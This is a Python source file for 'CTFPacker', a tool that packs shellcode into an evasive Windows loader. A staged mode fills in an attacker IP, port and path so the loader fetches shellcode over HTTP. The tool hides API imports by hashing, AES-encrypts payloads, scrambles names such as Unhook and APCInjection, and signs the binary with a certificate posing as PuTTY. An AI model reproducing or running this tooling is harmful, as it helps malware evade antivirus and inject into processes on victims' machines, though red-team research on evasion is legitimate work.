Files
T
mocha 98dfe48888 Modified the makefile for linux to have a more robust approach
- Less problems with the mingw toolchain and clang
2025-06-12 10:31:10 +02:00

684 lines
36 KiB
Python

# -*- coding: utf-8 -*-
'''
Author: mocha
X (Twitter): @mochabyte0x
'''
import os
import random
import subprocess
import shutil, errno
from importlib import resources
from core.hashing import Hasher
from argparse import ArgumentParser
from core.utils import Colors, banner
from core.encryption import Encryption
def main():
# Creating the parser first
parser = ArgumentParser(description="CTFPacker", epilog="Author: @mochabyte")
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
# Creating the subparsers
parser_staged = subparsers.add_parser("staged", help="Staged")
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
# Creating the arguments for the staged subcommand
parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_staged.add_argument("-si", "--sign", action="store_true", help="Sign the loader with a random certificate.")
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -si"
# Creating the arguments for the stageless subcommand
parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_stageless.add_argument("-si", "--sign", action="store_true", help="Sign the loader with a random certificate.")
parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -e -s -si"
# Parsing the arguments
args = parser.parse_args()
# Banner
banner()
#--------------------------------------#
#----------- Staged Variant -----------#
#--------------------------------------#
if args.commands == "staged":
print(Colors.green("[i] Staged Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.path.dirname(os.path.abspath(__file__))
src_directory = resources.files("templates").joinpath("staged")
dst_directory = f'{cr_directory}/.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
if args.payload and args.ip_address and args.port and args.path:
print(Colors.green("[i] Corresponding template selected.."))
ip = args.ip_address
port = args.port
path = args.path
with open(f'{dst_directory}/download.c', 'r') as file:
download_data = file.readlines()
for i in range(len(download_data)):
if "#-IP_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
if "#-PORT_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
if "#-PATH_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
with open(f'{dst_directory}/download.c', 'w') as file:
file.writelines(download_data)
# We read the shellcode from the file
with open(args.payload, "rb") as file:
payload = file.read()
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(payload)
if os.path.exists(f"{args.output}.bin"):
os.remove(f"{args.output}.bin")
with open(f"{args.output}.bin", "wb") as file:
file.write(enc_payload)
# We write the key and IV into main.c
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
# Writing the data back to the file
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}/{args.output}.bin !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
# We copy the payload file to the path specified by the user
shutil.copy(args.payload, f"{args.output}.bin")
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "GetContent" in data[i]:
data[i] = data[i].replace("GetContent", scrambled_functions[16])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[17])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[18])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[19])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[20])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.sign:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
pfx_path = f"{cr_directory}/custom_certs/sign_putty.pfx"
pfx_password = "Password"
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd '{dst_directory}' && make clean && make")
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
f"osslsigncode",
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
if args.sign is False:
# Everything has been modified, we can now compile the loader
os.system(f"cd '{dst_directory}' && make clean && make")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
#-----------------------------------------#
#----------- Stageless Variant -----------#
#-----------------------------------------#
if args.commands == "stageless":
print(Colors.green("[i] Stageless Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.path.dirname(os.path.abspath(__file__))
src_directory = resources.files("templates").joinpath("stageless")
dst_directory = f'{cr_directory}/.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
# Parsing the args now
if args.payload:
# We read the shellcode from the file
with open(args.payload, "rb") as file:
raw_payload = file.read()
# converting the payload to hex for ease
payload = ', '.join(f"0x{b:02x}" for b in raw_payload)
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(raw_payload)
# converting the payload to hex for ease
hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload)
# We write the key and IV into main.c
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload))
# Writing the data back to the file
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload)" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) &payload, sEncPayload, &pProcess)) {{"
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload)
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[16])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[17])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[18])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[19])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
if "payload" in main_data[i]:
main_data[i] = main_data[i].replace("payload", scrambled_variables[9])
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.sign:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
pfx_path = f"{cr_directory}/custom_certs/sign_putty.pfx"
pfx_password = "Password"
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd '{dst_directory}' && make clean && make")
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
f"osslsigncode",
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
if args.sign is False:
# Everything has been modified, we can now compile the loader
os.system(f"cd '{dst_directory}' && make clean && make")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if __name__ == "__main__":
main()